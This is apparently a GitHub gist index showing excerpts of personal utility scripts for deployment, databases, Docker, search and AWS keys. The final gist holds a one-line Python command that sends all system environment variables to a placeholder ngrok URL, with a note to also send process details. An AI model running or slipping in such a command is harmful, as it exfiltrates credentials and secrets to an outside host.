View reduce_faces.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import os | |
import subprocess | |
# Script taken from doing the needed operation | |
# (Filters > Remeshing, Simplification and Reconstruction > | |
# Quadric Edge Collapse Decimation, with parameters: | |
# 0.9 percentage reduction (10%), 0.3 Quality threshold (70%) |
View config.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Dev only: | |
# Create migrations for any model changes that don't have migrations committed yet. | |
# Makes the migrations locally and push them up since we can't write files outside /tmp in Lambda | |
if [[ "${CIRCLE_BRANCH}" == "dev" ]] | |
then | |
python manage.py makemigrations --name ${CIRCLE_BRANCH}_`date "+%Y%m%d-%H%M%S"` --settings=app.settings.production | |
fi | |
zappa update -s config/zappa_settings.json ${CIRCLE_BRANCH} |
View fix_database_to_utf8.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from MySQLdb import connect | |
conn = connect(user="[USER]", passwd= "[PASSWORD]") | |
cur = conn.cursor() | |
cur.execute("show databases;") | |
dbs_to_update = filter( | |
lambda db: db not in ('information_schema', 'mysql', 'performance_schema'), | |
[dbname[0] for dbname in cur.fetchall()]) |
View export_env_file_vars.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ignores commented out lines and handles spaces | |
# https://stackoverflow.com/questions/19331497/set-environment-variables-from-file-of-key-pair-values | |
export $(grep -v '^#' .env | xargs -d '\n') |
View auto_watch_releases_only.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// By jonashaag https://github.com/isaacs/github/issues/410#issuecomment-442248565 | |
const child_process = require('child_process') | |
const puppeteer = require('puppeteer') | |
const devices = require('puppeteer/DeviceDescriptors') | |
const iPhone = devices['iPhone 6'] | |
const USER = 'youruser' | |
const PW = 'xxxxxx' |
View elasticsearch6_fuzzy.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""Elasticsearch backend that enables fuzzy search to all plaintext queries.""" | |
from wagtail.search.backends.elasticsearch6 import (Elasticsearch6SearchBackend, | |
Elasticsearch6SearchQueryCompiler) | |
class ElasticsearchQueryCompilerWithFuzziness(Elasticsearch6SearchQueryCompiler): | |
""" | |
Copy of Elasticsearch6SearchQueryCompiler class with a modified default query. | |
Adds the "fuzziness" parameter to all queries so that we can return inexact | |
matches for misspellings, etc. |
View test_url_with_exit_code.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
set -o errexit | |
curl --fail --show-error --location http://httpbin.org/status/200 > /dev/null | |
echo "It worked!" | |
curl --fail --show-error --location http://httpbin.org/status/500 > /dev/null | |
echo "It failed, but you will never see this message." |
View remove_named_docker_volume.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/sh | |
set -e | |
DOCKER_COMPOSE_SERVICE_NAME=db | |
CONTAINER_ID=`docker-compose ps -q $DOCKER_COMPOSE_SERVICE_NAME` | |
FULL_VOLUME_NAME=`docker inspect --format='{{range .Mounts}}{{.Name}} {{end}}' $CONTAINER_ID` | |
docker volume rm $FULL_VOLUME_NAME |
View import_key.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import base64 | |
import struct | |
import boto3 | |
import paramiko | |
from paramiko.util import deflate_long | |
PEM_FILEPATH = '~/.ssh/test-key.pem' |
View gist:fe5fcf403a1da12052a4e62d49e05f53
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Send system env vars | |
python2 -c "import os, urllib; urllib.urlopen('https://NGROK_URL', data=urllib.urlencode(os.environ))" | |
# Send all running processes with arguments & env vars for process | |
# @TODO |